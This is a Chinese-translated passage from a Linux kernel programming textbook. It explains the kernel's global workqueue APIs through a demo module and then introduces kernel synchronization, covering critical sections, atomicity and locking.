调用INIT_WORK()会将指定的工作结构和函数注册到内部默认的全局内核工作队列中。但它不会执行它 - 还没有!您需要在适当的时刻调用schedule_work()API 来告诉它何时执行您的“工作”:

bool schedule_work(struct work_struct *work);

显然,schedule_work()的参数是指向work_struct结构的指针(您之前通过INIT_WORK()宏初始化)。它返回一个布尔值(直接引用源代码):如果@work 已经在全局内核工作队列上,则返回%false,否则返回%true。实际上,schedule_work()检查通过工作结构指定的函数是否已经在全局内核工作队列上;如果没有,它会将其排队在那里;如果它已经在那里,它会保持在同一位置(不会添加更多的实例)。然后标记工作项以执行。这通常会在相应的内核线程被调度时立即发生,从而给您一个运行您的工作的机会。

要使您的模块或驱动程序中的两个工作项(函数)通过(默认)全局内核工作队列执行,只需两次调用INIT_WORK()宏,每次传递不同的工作结构和函数。类似地,对于更多的工作项,为每个工作项调用INIT_WORK()...(例如,考虑这个内核块驱动程序(drivers/block/mtip32xx/mtip32xx.c):显然,对于 Micron PCIe SSD,它在其探测方法中连续调用INIT_WORK()八次(!),使用数组来保存所有的项目)。

请注意,您可以在原子上下文中调用schedule_work()!这个调用是非阻塞的;它只是安排工作项在稍后的延迟(和安全)时间点被消耗时运行在进程上下文中。

调度工作任务的变化

我们刚刚描述的schedule_work() API 有一些变体,所有这些变体都可以通过schedule[_delayed]_work[_on]()API 获得。让我们简要列举一下。首先,让我们看一下schedule_delayed_work()内联函数,其签名如下:

bool schedule_delayed_work(struct delayed_work *dwork, unsigned long delay);

当您希望延迟执行工作队列处理程序函数一定时间时,请使用此例程;第二个参数delay是您希望等待的jiffies数。现在,我们知道jiffies变量每秒增加HZjiffies;因此,要延迟n秒执行您的工作任务,请指定n * jiffies。同样,您也可以将msecs_to_jiffies(n)值作为第二个参数传递,以便n毫秒后执行。

接下来,请注意schedule_delayed_work()的第一个参数不同;它是一个delayed_work结构,其中包含了现在熟悉的work_struct结构作为成员,以及其他一些管理成员(内核定时器、指向工作队列结构的指针和 CPU 编号)。要初始化它,只需为其分配内存,然后利用INIT_DELAYED_WORK()宏(语法与INIT_WORK()保持相同);它将负责所有初始化工作。

主题的另一个轻微变体是schedule[_delayed]_work_on()例程;名称中的on允许您指定执行工作任务时将在哪个 CPU 核心上安排。以下是schedule_delayed_work_on()内联函数的签名:

bool schedule_delayed_work_on(int cpu, struct delayed_work *dwork, unsigned long delay);

第一个参数指定要在其上执行工作任务的 CPU 核心,而其余两个参数与schedule_delayed_work()例程的参数相同。(您可以使用schedule_delayed_work()例程在给定的 CPU 核心上立即安排您的任务)。

清理 - 取消或刷新您的工作任务

在某个时候,您会希望确保您的工作任务已经完成执行。您可能希望在销毁工作队列之前(假设这是一个自定义创建的工作队列,而不是内核全局的工作队列),或者更可能是在使用内核全局工作队列时,在 LKM 或驱动程序的清理方法中执行此操作。在这里使用的典型 API 是cancel_[delayed_]work[_sync]()。它的变体和签名如下:

bool cancel_work_sync(struct work_struct *work);
bool cancel_delayed_work(struct delayed_work *dwork);
bool cancel_delayed_work_sync(struct delayed_work *dwork);

这很简单:一旦使用了INIT_WORK()schedule_work()例程,请使用cancel_work_sync();当您延迟了工作任务时,请使用后两者。请注意,其中两个例程的后缀是_sync;这意味着取消是同步的 - 内核将等待您的工作任务完成执行,然后这些函数才会返回!这通常是我们想要的。这些例程返回一个布尔值:如果有待处理的工作,则返回True,否则返回False

在内核模块中,不取消(或刷新)您的工作任务在清理(rmmod)代码路径中是导致严重问题的一种确定方法;请确保您这样做!

内核工作队列子系统还提供了一些flush_*()例程(包括flush_scheduled_work()flush_workqueue()flush_[delayed_]work())。内核文档(www.kernel.org/doc/html/latest/core-api/workqueue.html)明确警告我们,这些例程不容易使用,因为您很容易因为它们而导致死锁问题。建议您改用前面提到的cancel_[delayed_]work[_sync]()API。

工作流程的快速总结

在使用内核全局工作队列时,出现了一个简单的模式(工作流程):

  1. 初始化工作任务。

  2. 在适当的时间点,安排它执行(也许延迟和/或在特定的 CPU 核心上)。

  3. 清理。通常,在内核模块(或驱动程序)的清理代码路径中,取消它。(最好是同步进行,以便首先完成任何待处理的工作任务。在这里,我们将坚持使用推荐的cancel*work*()例程,避免使用flush_*()例程)。

让我们用表格总结一下:

使用内核全局工作队列 常规工作任务 延迟工作任务 在给定 CPU 上执行工作任务
1. 初始化 INIT_WORK() INIT_DELAYED_WORK() <立即或延迟都可以>
2. 安排工作任务执行 schedule_work() schedule_delayed_work() schedule_delayed_work_on()
3. 取消(或刷新)它;foo_sync()以确保它完成 cancel_work_sync() cancel_delayed_work_sync() <立即或延迟都可以>

表 5.4 - 使用内核全局工作队列 - 工作流程摘要

在接下来的几节中,我们将编写一个简单的内核模块,使用内核默认工作队列来执行工作任务。

我们的简单工作队列内核模块 - 代码视图

让我们动手使用工作队列!在接下来的几节中,我们将编写一个简单的演示内核模块(ch5/workq_simple),演示使用内核默认工作队列来执行工作任务。实际上,它是建立在我们之前用来演示内核定时器的 LKM(ch5/timer_simple)之上的。让我们来看看代码(像往常一样,我们不会在这里展示完整的代码,只展示最相关的部分)。我们将从它的私有上下文数据结构和init方法开始:

static struct st_ctx {
    struct work_struct work;
    struct timer_list tmr;
    int data;
} ctx;
[ ... ]
static int __init workq_simple_init(void)
{
    ctx.data = INITIAL_VALUE;
    /* Initialize our work queue */
 INIT_WORK(&ctx.work, work_func);
    /* Initialize our kernel timer */
    ctx.tmr.expires = jiffies + msecs_to_jiffies(exp_ms);
    ctx.tmr.flags = 0;
    timer_setup(&ctx.tmr, ding, 0);
    add_timer(&ctx.tmr); /* Arm it; let's get going! */
    return 0;
}

一个需要考虑的关键问题是:我们将如何将一些有用的数据项传递给我们的工作函数?work_struct结构只有一个用于内部目的的原子长整型。一个好的(非常典型的!)技巧是将你的work_struct结构嵌入到驱动程序的上下文结构中;然后,在工作任务回调函数中,使用container_of()宏来访问父上下文数据结构!这是一种经常使用的策略。(container_of()是一个强大的宏,但并不容易解释!我们在进一步阅读部分提供了一些有用的链接。)因此,在前面的代码中,我们的驱动程序上下文结构嵌入了一个struct work_struct。你可以在INIT_WORK()宏中看到我们的工作任务的初始化。

一旦定时器被装备好(add_timer()在这里起作用),它将在大约 420 毫秒后到期,并且定时器回调函数将在定时器 softirq 上下文中运行(这实际上是一个原子上下文):

static void ding(struct timer_list *timer)
{ 
    struct st_ctx *priv = from_timer(priv, timer, tmr);
    pr_debug("timed out... data=%d\n", priv->data--);
    PRINT_CTX();

    /* until countdown done, fire it again! */
    if (priv->data)
        mod_timer(&priv->tmr, jiffies + msecs_to_jiffies(exp_ms));
    /* Now 'schedule' our work queue function to run */
    if (!schedule_work(&priv->work))
        pr_notice("our work's already on the kernel-global workqueue!\n");
}

在减少data变量之后,它设置定时器再次触发(通过mod_timer(),在 420 毫秒后),然后通过schedule_work() API,安排我们的工作队列回调运行!内核将意识到现在必须执行(消耗)工作队列函数,只要是可行的。但是等一下 - 工作队列回调必须且将仅在进程上下文中通过全局内核工作线程运行 - 所谓的事件线程。因此,只有在我们退出这个 softirq 上下文并且(其中之一)"事件"内核工作线程在 CPU 运行队列上,并且实际运行时,我们的工作队列回调函数才会被调用。

放松 - 它很快就会发生...使用工作队列的整个目的不仅是线程管理完全由内核负责,而且函数在进程上下文中运行,因此可以执行漫长的阻塞或 I/O 操作。

再次,多快是“很快”?让我们尝试测量一下:我们在schedule_work()之后立即(通过通常的ktime_get_real_ns()内联函数)获取一个时间戳作为工作队列函数中的第一行代码。我们信任的SHOW_DELTA()宏显示了时间差。正如预期的那样,它很小,通常在几百分之几微秒的范围内(当然,这取决于几个因素,包括硬件平台、内核版本等)。高负载系统会导致切换到事件内核线程花费更长的时间,这可能会导致工作队列的功能执行出现延迟。您将在以下部分的截图捕获(图 5.12)中看到一个样本运行。

以下代码是我们的工作任务函数。这是我们使用container_of()宏访问我们模块上下文结构的地方:

/* work_func() - our workqueue callback function! */
static void work_func(struct work_struct *work)
{
    struct st_ctx *priv = container_of(work, struct st_ctx, work);

    t2 = ktime_get_real_ns();
    pr_info("In our workq function: data=%d\n", priv->data);
    PRINT_CTX();
    SHOW_DELTA(t2, t1);
}

此外,我们的PRINT_CTX()宏的输出明确显示了这个函数是在进程上下文中运行的。

延迟工作任务回调函数中使用container_of()时要小心 - 您必须将第三个参数指定为struct delayed_workwork成员(我们的一个练习问题让您尝试这个东西!也提供了解决方案...)。我建议您先掌握基础知识,然后再尝试自己做这个。

在下一节中,我们将运行我们的内核模块。

我们的简单工作队列内核模块 - 运行它

让我们试一试!看一下以下的截图:

图 5.12 - 我们的 workq_simple.ko LKM,突出显示了工作队列函数的执行

让我们更详细地看一下这段代码:

  • 通过我们的lkm辅助脚本,我们构建然后insmod(8)内核模块;也就是workq_simple.ko

  • 内核日志通过dmesg(1)显示:

  • 在 init 方法中初始化和启用了工作队列和内核定时器。

  • 定时器到期(大约 420 毫秒);您可以看到它的 printks(显示timed out...和我们的data变量的值)。

  • 它调用schedule_work()API,导致我们的工作队列函数运行。

  • 如前面的截图所示,我们的工作队列函数work_func()确实运行了;它显示了数据变量的当前值,证明它正确地访问了我们的“上下文”或私有数据结构。

请注意,我们在这个 LKM 中使用了我们的PRINT_CTX()宏(它在我们的convenient.h头文件中)来揭示一些有趣的东西:

    • 当它在定时器回调函数的上下文中运行时,它的状态位包含s字符(在四字符字段中的第三个字符 - .Ns1或类似的),表明它在softirq(中断、原子)上下文中运行。
  • 当它在工作队列回调函数的上下文中运行时,它的状态位的第三个字符将永远不包含s字符;它将始终是一个.证明工作队列总是在进程上下文中执行!

接下来,SHOW_DELTA()宏计算并输出了工作队列被调度和实际执行之间的时间差。正如您所看到的(至少在我们轻载的 x86_64 虚拟机上),它在几百微秒的范围内。

为什么不查找实际使用来消耗我们的工作队列的内核工作线程呢?在这里只需要对 PID 进行简单的ps(1)。在这种特殊情况下,它恰好是内核的每个 CPU 核心的通用工作队列消费者线程之一 - 一个内核工作线程(kworker/...线程):

$ ps -el | grep -w 55200
 1 I     0   55200       2  0  80  0 -    0 -    ?       00:00:02 kworker/1:0-mm_percpu_wq
 $

当然,内核代码库中到处都是工作队列的使用(特别是许多设备驱动程序)。请使用cscope(1)来查找和浏览这类代码的实例。

sed3 迷你项目 - 简要介绍

让我们通过简要地看一下我们的sed2项目演变为sed3来结束本章。这个小项目与sed2相同,只是更简单!(加/解密)工作现在是通过我们的工作任务(函数)通过内核的工作队列功能或底半机制来执行的。我们使用一个工作队列 - 默认的内核全局工作队列 - 来完成工作,而不是手动创建和管理 k 线程(就像我们在sed2中所做的那样)!

以下截图显示我们访问样本运行的内核日志;在运行中,我们让用户模式应用程序进行加密,然后解密,最后检索消息进行查看。我们在这里突出显示了有趣的部分 - 通过内核全局工作队列的工作线程执行我们的工作任务 - 在两个红色矩形中:

图 5.13 - 运行我们的 sed3 驱动程序时的内核日志;通过默认的内核全局工作队列运行的工作任务被突出显示

顺便说一句,用户模式应用程序与我们在sed2中使用的应用程序相同。前面的截图显示了(通过我们可靠的PRINT_CTX()宏)内核工作线程,内核全局工作队列用于运行我们的加密和解密工作;在这种情况下,加密工作是[kworker/1:0] PID 9812,解密工作是[kworker/0:2] PID 9791。请注意它们都在进程上下文中运行。我们将让您浏览sed3ch5/sed3)的代码。

这就结束了本节。在这里,您了解了内核工作队列基础设施确实是模块/驱动程序作者的福音,因为它帮助您在关于内核线程的底层细节、它们的创建以及复杂的管理和操作方面添加了一个强大的抽象层。这使得您可以非常轻松地在内核中执行工作 - 尤其是通过使用预先存在的内核全局(默认)工作队列 - 而不必担心这些令人讨厌的细节。

总结

干得好!在本章中,我们涵盖了很多内容。首先,您学会了如何在内核空间中创建延迟,包括原子和阻塞类型(通过*delay()*sleep()例程)。接下来,您学会了如何在 LKM(或驱动程序)中设置和使用内核定时器 - 这是一个非常常见和必需的任务。直接创建和使用内核线程可能是一种令人兴奋(甚至困难)的体验,这就是为什么您学会了如何做到这一点的基础知识。之后,您看了内核工作队列子系统,它解决了复杂性(和并发性)问题。您了解了它是什么,以及如何实际利用内核全局(默认)工作队列在需要时执行您的工作任务。

我们设计和实现的三个sed(简单加密解密)演示驱动程序向您展示了这些有趣技术的一个更复杂的用例:sed1实现了超时,sed2增加了内核线程来执行工作,sed3使用内核全局工作队列在需要时消耗工作。

请花一些时间来解决本章的以下问题/练习,并浏览进一步阅读资源。完成后,我建议您休息一下,然后重新开始。我们快要完成了:最后两章涵盖了一个非常关键的主题 - 内核同步!

问题

  1. 找出以下伪代码中的错误。
static my_chip_tasklet(void)
{
    // ... process data
    if (!copy_to_user(to, from, count)) {
        pr_warn("..."); [...]
    }
}
static irqreturn_t chip_hardisr(int irq, void *data)
{
    // ack irq
    // << ... fetch data into kfifo ... >>
    // << ... call func_a(), delay, then call func_b() >>
    func_a();
    usleep(100); // 100 us delay required here! see datasheet pg ...
    func_b();
    tasklet_schedule(...);
    return IRQ_HANDLED;
}
my_chip_probe(...)
{
    // ...
    request_irq(CHIP_IRQ, chip_hardisr, ...);
    // ...
    tasklet_init(...);
}
  1. timer_simple_check: 增强timer_simple内核模块,以便检查设置超时和实际服务之间经过的时间量。

  2. kclock: 编写一个内核模块,设置一个内核定时器,以便每秒超时一次。然后,使用这个来将时间戳打印到内核日志中,实际上得到一个简单的“时钟应用程序”在内核中。

  3. mutlitime*:开发一个内核模块,以秒数作为参数发出定时器回调。默认为零(表示没有定时器,因此是一个有效性错误)。它应该这样工作:如果传递的数字是 3,它应该创建三个内核定时器;第一个将在 3 秒后到期,第二个在 2 秒后到期,最后一个在 1 秒后到期。换句话说,如果传递的数字是“n”,它应该创建“n”个内核定时器;第一个将在“n”秒后到期,第二个在“n-1”秒后到期,第三个在“n-2”秒后到期,依此类推,直到计数达到零。

  4. 在本章中提供的sed[123]迷你项目中构建并运行,并通过查看内核日志验证它们是否按预期工作。

  5. workq_simple2:我们提供的ch5/workq_simple LKM 设置并通过内核全局工作队列“消耗”一个工作项(函数);增强它,以便设置并执行两个“工作”任务。验证它是否正常工作。

  6. workq_delayed:在之前的任务(workq_simple2)的基础上构建,以执行两个工作任务,再加上一个任务(来自 init 代码路径)。第三个任务应该延迟执行;延迟的时间量应该作为名为work_delay_ms的模块参数传递(以毫秒为单位;默认值应为 500 毫秒)。

[提示:在延迟工作任务回调函数中使用container_of()时要小心;您必须将第三个参数指定为struct delayed_workwork成员;查看我们提供的解决方案]。

您将在书的 GitHub 存储库中找到一些问题的答案:github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn

进一步阅读

第二部分:深入探讨

在这里,您将了解一个高级和关键的主题:内核同步技术和 API 背后的概念、需求和用法。

本节包括以下章节:

  • 第六章,内核同步-第一部分

  • 第七章,内核同步-第二部分

第六章:内核同步 - 第一部分

任何熟悉在多线程环境中编程的开发人员(甚至在多个进程共享内存或中断可能发生的单线程环境中)都知道,当两个或更多个线程(一般的代码路径)可能会竞争时,需要同步;也就是说,它们的结果是无法预测的。纯代码本身从来不是问题,因为它的权限是读/执行(r-x);在多个 CPU 核心上同时读取和执行代码不仅完全正常和安全,而且是受鼓励的(它会提高吞吐量,这就是为什么多线程是一个好主意)。然而,当你开始处理共享可写数据时,你就需要开始非常小心了!

围绕并发性及其控制 - 同步 - 的讨论是多种多样的,特别是在像 Linux 内核这样的复杂软件环境中(其子系统和相关区域,如设备驱动程序),这也是我们在本书中要处理的。因此,为了方便起见,我们将把这个大主题分成两章,本章和下一章。

在本章中,我们将涵盖以下主题:

  • 关键部分、独占执行和原子性

  • Linux 内核中的并发性问题

  • 互斥锁还是自旋锁?在什么情况下使用

  • 使用互斥锁

  • 使用自旋锁

  • 锁定和中断

让我们开始吧!

关键部分、独占执行和原子性

想象一下,你正在为一个多核系统编写软件(嗯,现在,通常情况下,你会在多核系统上工作,即使是在大多数嵌入式项目中)。正如我们在介绍中提到的,同时运行多个代码路径不仅是安全的,而且是可取的(否则,为什么要花那些钱呢,对吧?)。另一方面,在其中共享可写数据(也称为共享状态被访问的并发(并行和同时)代码路径是需要你保证,在任何给定的时间点,只有一个线程可以同时处理该数据!这真的很关键;为什么?想想看:如果你允许多个并发代码路径在共享可写数据上并行工作,你实际上是在自找麻烦:数据损坏("竞争")可能会发生。

什么是关键部分?

可以并行执行并且可以处理(读取和/或写入)共享可写数据(共享状态)的代码路径被称为关键部分。它们需要保护免受并行性的影响。识别和保护关键部分免受同时执行是你 - 设计师/架构师/开发人员 - 必须处理的隐含要求,以确保正确的软件。

关键部分是必须要么独占地运行;也就是说,单独运行(串行化),要么是原子地;也就是说,不可分割地,一直运行到完成,没有中断。

通过“独占”,我们暗示在任何给定的时间点,一个线程正在运行关键部分的代码;这显然是出于数据安全的原因而需要的。

这个概念也提出了原子性的重要概念:单个原子操作是不可分割的。在任何现代处理器上,两个操作被认为总是原子的;也就是说,它们不能被中断,并且会一直运行到完成:

  • 单个机器语言指令的执行。

  • 对齐的原始数据类型的读取或写入,它在处理器的字长(通常为 32 位或 64 位)内;例如,在 64 位系统上读取或写入 64 位整数是有保证的。读取该变量的线程永远不会看到中间、撕裂或脏的结果;它们要么看到旧值,要么看到新值。

因此,如果您有一些代码行处理共享(全局或静态)可写数据,那么在没有任何显式同步机制的情况下,不能保证其独占运行。请注意,有时需要以原子方式运行临界区的代码,以及独占运行,但并非始终如此。

当临界区的代码在安全睡眠的进程上下文中运行时(例如通过用户应用程序对驱动程序进行典型文件操作(打开,读取,写入,ioctl,mmap 等),或者内核线程或工作队列的执行路径),也许可以接受临界区不是真正原子的。但是,当其代码在非阻塞原子上下文中运行时(例如硬中断,tasklet 或 softirq),它必须以原子方式运行以及独占运行(我们将在互斥锁还是自旋锁?何时使用部分中更详细地讨论这些问题)。

一个概念性的例子将有助于澄清事情。假设三个线程(来自用户空间应用程序)在多核系统上几乎同时尝试打开并从您的驱动程序读取。在没有任何干预的情况下,它们可能会并行运行临界区的代码,从而并行地处理共享可写数据,从而很可能损坏它!现在,让我们看一个概念图示,看看临界区代码路径内的非独占执行是错误的(我们甚至不会在这里谈论原子性):

图 6.1 - 一个概念图示,显示了临界区代码路径如何被同时运行的多个线程违反

如前图所示,在您的设备驱动程序中,在其(比如)读取方法中,您正在运行一些代码以执行其工作(从硬件中读取一些数据)。让我们更深入地看一下这个图示在不同时间点进行的数据访问

  • 从时间t0t1:没有或只有本地变量数据被访问。这是并发安全的,不需要保护,并且可以并行运行(因为每个线程都有自己的私有堆栈)。

  • 从时间t1t2:访问全局/静态共享可写数据。这是并发安全的;它是临界区,因此必须受到保护,以免并发访问。它应该只包含以独占方式运行的代码(独自,每次只有一个线程,串行),也许还是原子的。

  • 从时间t2t3:没有或只有本地变量数据被访问。这是并发安全的,不需要保护,并且可以并行运行(因为每个线程都有自己的私有堆栈)。

在本书中,我们假设您已经意识到需要同步临界区;我们将不再讨论这个特定的主题。有兴趣的人可以参考我早期的书,Linux 系统编程实战(Packt,2018 年 10 月),其中详细介绍了这些问题(特别是第十五章使用 Pthreads 进行多线程编程第二部分-同步)。

因此,了解这一点,我们现在可以重新阐述临界区的概念,同时提到情况何时出现(在项目符号和斜体中显示在项目符号中)。临界区是必须按以下方式运行的代码:

  • (始终)独占地:独自(串行)

  • (在原子上下文中)原子地:不可分割地,完整地,没有中断

在下一节中,我们将看一个经典的场景 - 全局整数的增量。

一个经典的例子 - 全局 i ++

想象一下这个经典的例子:在并发代码路径中递增一个全局整数i,其中多个执行线程可以同时执行。对计算机硬件和软件的天真理解会让您相信这个操作显然是原子的。然而,现实是,现代硬件和软件(编译器和操作系统)要比您想象的复杂得多,因此会引起各种看不见的(对应用程序开发人员来说)性能驱动的优化。

我们不会在这里深入讨论太多细节,但现实是,现代处理器非常复杂:它们采用许多技术来提高性能,其中一些是超标量和超流水线执行,以便并行执行多个独立指令和各种指令的几个部分(分别),进行即时指令和/或内存重排序,在复杂的 CPU 缓存中缓存内存,虚假共享等等!我们将在第七章中的内核同步-第二部分中的缓存效应-虚假共享内存屏障部分中深入探讨其中的一些细节。

Matt Kline 于 2020 年 4 月撰写的论文《每个系统程序员都应该了解的并发知识》assets.bitbashing.io/papers/concurrency-primer.pdf)非常出色,是这个主题上的必读之作;一定要阅读!

所有这些使得情况比起初看起来更加复杂。让我们继续讨论经典的i ++

static int i = 5;
[ ... ]
foo()
{
    [ ... ]
    i ++;     // is this safe? yes, if truly atomic... but is it truly atomic??
}

这个递增本身安全吗?简短的答案是否定的,您必须保护它。为什么?这是一个关键部分——我们正在访问共享的可写数据进行读取和/或写入操作。更长的答案是,这实际上取决于递增操作是否真正是原子的(不可分割的);如果是,那么i ++在并行性的情况下不会造成危险——如果不是,就会有危险!那么,我们如何知道i ++是否真正是原子的呢?有两件事决定了这一点:

  • 处理器的指令集架构(ISA),它决定了(与处理器低级相关的几件事情之一)在运行时执行的机器指令。

  • 编译器。

如果 ISA 具有使用单个机器指令执行整数递增的功能,并且编译器具有使用它的智能,那么它就是真正原子的——它是安全的,不需要锁定。否则,它是不安全的,需要锁定!

尝试一下:将浏览器导航到这个精彩的编译器探索网站:godbolt.org/。选择 C 作为编程语言,然后在左侧窗格中声明全局整数i并在函数内递增。在右侧窗格中使用适当的编译器和编译器选项进行编译。您将看到为 C 高级i ++;语句生成的实际机器代码。如果确实是单个机器指令,那么它将是安全的;如果不是,您将需要锁定。总的来说,您会发现您实际上无法判断:实际上,您不能假设事情——您将不得不默认假设它是不安全的并加以保护!这可以在以下截图中看到:

图 6.2——即使是最新的稳定 gcc 版本,但没有优化,x86_64 gcc 为 i ++生成了多个指令

前面的截图清楚地显示了这一点:左右两个窗格中的黄色背景区域分别是 C 源代码和编译器生成的相应汇编代码(基于 x86_64 ISA 和编译器的优化级别)。默认情况下,没有优化,i ++变成了三条机器指令。这正是我们所期望的:它对应于获取(内存到寄存器)、增量存储(寄存器到内存)!现在,这不是原子的;完全有可能,在其中一条机器指令执行后,控制单元干扰并将指令流切换到不同的位置。这甚至可能导致另一个进程或线程被上下文切换!

好消息是,通过在编译器选项...窗口中快速加上-O2i ++就变成了一条机器指令 - 真正的原子操作!然而,我们无法预测这些事情;有一天,你的代码可能会在一个相当低端的 ARM(RISC)系统上执行,增加了i ++需要多条机器指令的可能性。(不用担心 - 我们将在使用原子整数操作符部分专门介绍针对整数的优化锁技术)。

现代语言提供了本地原子操作符;对于 C/C++来说,这是相当近期的(从 2011 年起);ISO C++11 和 ISO C11 标准提供了现成的和内置的原子变量。稍微搜索一下就可以快速找到它们。现代的 glibc 也在使用它们。举个例子,如果你在用户空间使用信号,你会知道要使用volatile sig_atomic_t数据类型来安全地访问和/或更新信号处理程序中的原子整数。那么内核呢?在下一章中,你将了解 Linux 内核对这个关键问题的解决方案。我们将在使用原子整数操作符使用原子位操作符部分进行介绍。

Linux 内核当然是一个并发环境:多个执行线程在多个 CPU 核心上并行运行。不仅如此,即使在单处理器(UP/单 CPU)系统上,硬件中断、陷阱、故障、异常和软件信号的存在也可能导致数据完整性问题。毋庸置疑,保护代码路径中必要的并发性是易说难做的;识别和保护关键部分使用诸如锁等技术的同步原语和技术是绝对必要的,这也是为什么这是本章和下一章的核心主题。

概念 - 锁

我们需要同步是因为,没有任何干预,线程可以同时执行关键部分,其中共享可写数据(共享状态)正在被处理。为了打败并发性,我们需要摆脱并行性,我们需要串行化关键部分内的代码 - 共享数据正在被处理的地方(用于读取和/或写入)。

为了强制一个代码路径变成串行化,一个常见的技术是使用。基本上,锁通过保证在任何给定时间点上只有一个执行线程可以“获取”或拥有锁来工作。因此,在代码中使用锁来保护关键部分将给我们想要的东西 - 专门运行关键部分的代码(也许是原子的;更多内容即将到来):

图 6.3 - 一个概念图示,展示了如何使用锁来保证关键部分代码路径的独占性

前面的图示展示了解决前面提到的情况的一种方法:使用锁来保护关键部分!锁(和解锁)在概念上是如何工作的呢?

锁的基本前提是,每当有争用时(即多个竞争线程(比如n个线程)尝试获取锁(LOCK操作)时),只有一个线程会成功。这被称为锁的“赢家”或“所有者”。它将lock API 视为非阻塞调用,因此在执行关键部分的代码时会继续运行 - 并且是独占的(关键部分实际上是lockunlock操作之间的代码!)。那么剩下的n-1个“失败者”线程会发生什么呢?它们(也许)会将锁 API 视为阻塞调用;它们实际上会等待。等待什么?当然是锁的unlock操作,这是由锁的所有者(“赢家”线程)执行的!一旦解锁,剩下的n-1个线程现在会竞争下一个“赢家”位置;当然,它们中的一个会“赢”并继续前进;在此期间,n-2个失败者现在会等待(新的)赢家的unlock;这种情况会重复,直到所有n个线程(最终和顺序地)获取锁。

当然,锁定是有效的,但 - 这应该是相当直观的 - 它会导致(相当大的!)开销,因为它破坏了并行性并串行化了执行流!为了帮助您可视化这种情况,想象一个漏斗,狭窄的部分是只有一个线程可以一次进入的关键部分。所有其他线程都会被堵住;锁定会创建瓶颈:

图 6.4 - 锁创建了一个瓶颈,类似于一个物理漏斗

另一个经常提到的物理类比是一条高速公路,有几条车道汇入一条非常繁忙 - 交通拥挤 - 的车道(也许是一个设计不佳的收费站)。同样,并行性 - 车辆(线程)在不同车道上与其他车辆并行行驶(CPU) - 丢失,并且需要串行行为 - 车辆被迫排队排队。

因此,作为软件架构师,我们必须努力设计我们的产品/项目,以尽量减少对锁的需求。虽然在大多数实际项目中完全消除全局变量是不可行的,但优化和最小化它们的使用是必需的。我们将在以后更详细地介绍这一点,包括一些非常有趣的无锁编程技术。

另一个非常关键的点是,新手程序员可能天真地认为在共享可写数据对象上执行读取是完全安全的,因此不需要显式保护(除了在处理器总线大小范围内的对齐原始数据类型的情况下);这是不正确的。这种情况可能导致所谓的脏读或破碎读,即在另一个写入线程同时写入时可能读取到过时的数据,而你在没有锁定的情况下错误地读取了相同的数据项。

既然我们谈到了原子性,正如我们刚刚了解的那样,在典型的现代微处理器上,唯一保证原子性的是单个机器语言指令或者在处理器总线宽度内对齐的原始数据类型的读/写。那么,我们如何标记几行“C”代码,使其真正原子化呢?在用户空间中,这甚至是不可能的(我们可以接近,但无法保证原子性)。

在用户空间应用程序中如何“接近”原子性?您可以始终构建一个用户线程来使用SCHED_FIFO策略和实时优先级为99。这样,当它想要运行时,除了硬件中断/异常之外,几乎没有其他东西可以抢占它。(旧的音频子系统实现在很大程度上依赖于此。)

在内核空间中,我们可以编写真正原子的代码。怎么做呢?简短的答案是,我们可以使用自旋锁!我们很快将更详细地了解自旋锁。

关键点总结

让我们总结一些关于临界区的关键点。仔细审查这些内容非常重要,保持这些内容方便,并确保在实践中使用它们:

  • 临界区是一个可以并行执行并且可以操作(读和/或写)共享可写数据(也称为“共享状态”)的代码路径。

  • 由于它处理共享可写数据,临界区需要保护免受以下影响:

  • 并行性(也就是说,它必须单独运行/串行运行/以互斥的方式运行)

  • 在原子(中断)非阻塞上下文中运行 - 原子地:不可分割地,完全地,没有中断。一旦受保护,你可以安全地访问你的共享状态,直到“解锁”。

  • 代码库中的每个临界区都必须被识别和保护:

  • 识别临界区至关重要!仔细审查你的代码,确保你没有漏掉它们。

  • 可以通过各种技术来保护它们;一个非常常见的技术是锁定(还有无锁编程,我们将在下一章中看到)。

  • 一个常见的错误是只保护对全局可写数据的的临界区;你还必须保护对全局可写数据的的临界区;否则,你会面临破碎或脏读!为了帮助澄清这一关键点,想象一下在 32 位系统上读取和写入无符号 64 位数据项;在这种情况下,操作不能是原子的(需要两次加载/存储操作)。因此,如果在一个线程中读取数据项的值的同时,另一个线程正在同时写入它,会怎么样!?写入线程以某种方式“锁定”,但因为你认为读取是安全的,读取线程没有获取锁;由于不幸的时间巧合,你最终可能会执行部分/破碎/脏读!我们将在接下来的章节和下一章中学习如何通过使用各种技术来克服这些问题。

  • 另一个致命的错误是不使用相同的锁来保护给定的数据项。

  • 未保护临界区会导致数据竞争,即实际值的结果 - 被读/写的数据的实际值 - 是“竞争的”,这意味着它会根据运行时环境和时间而变化。这被称为一个 bug。(一旦在“现场”中,这是极其难以看到、重现、确定其根本原因和修复的 bug。我们将在下一章中涵盖一些非常强大的内容,以帮助你解决这个问题,在内核中的锁调试部分;一定要阅读!)

  • 例外:在以下情况下,你是安全的(隐式地,没有显式保护):

  • 当你在处理局部变量时。它们分配在线程的私有堆栈上(或者,在中断上下文中,分配在本地 IRQ 堆栈上),因此,根据定义,是安全的。

  • 当你在代码中处理共享可写数据时,这段代码不可能在另一个上下文中运行;也就是说,它是串行化的。在我们的情况下,LKM 的initcleanup方法符合条件(它们仅在insmodrmmod上一次串行运行)。

  • 当你在处理真正常量和只读的共享数据时(不要让 C 的const关键字误导你)。

  • 锁定本质上是复杂的;你必须仔细思考、设计和实现,以避免死锁。我们将在锁定指南和死锁部分中更详细地介绍这一点。

Linux 内核中的并发性问题

在内核代码中识别临界区至关重要;如果你甚至看不到它,你怎么保护它呢?以下是一些建议,可以帮助你作为一个新手内核/驱动程序开发人员,识别并发性问题的地方 - 因此可能出现临界区的地方:

  • 对称多处理器SMP)系统的存在(CONFIG_SMP

  • 可抢占内核的存在

  • 阻塞 I/O

  • 硬件中断(在 SMP 或 UP 系统上)

这些都是需要理解的关键点,我们将在本节中讨论每一个。

多核 SMP 系统和数据竞争

第一个点是非常明显的;看一下以下截图中显示的伪代码:

图 6.5 - 伪代码 - 在(虚构的)驱动程序读取方法中的一个关键部分;由于没有锁定,这是错误的

这与我们在图 6.16.3中展示的情况类似;只是这里,我们用伪代码来展示并发。显然,从时间t2到时间t3,驱动程序正在处理一些全局共享的可写数据,因此这是一个关键部分。

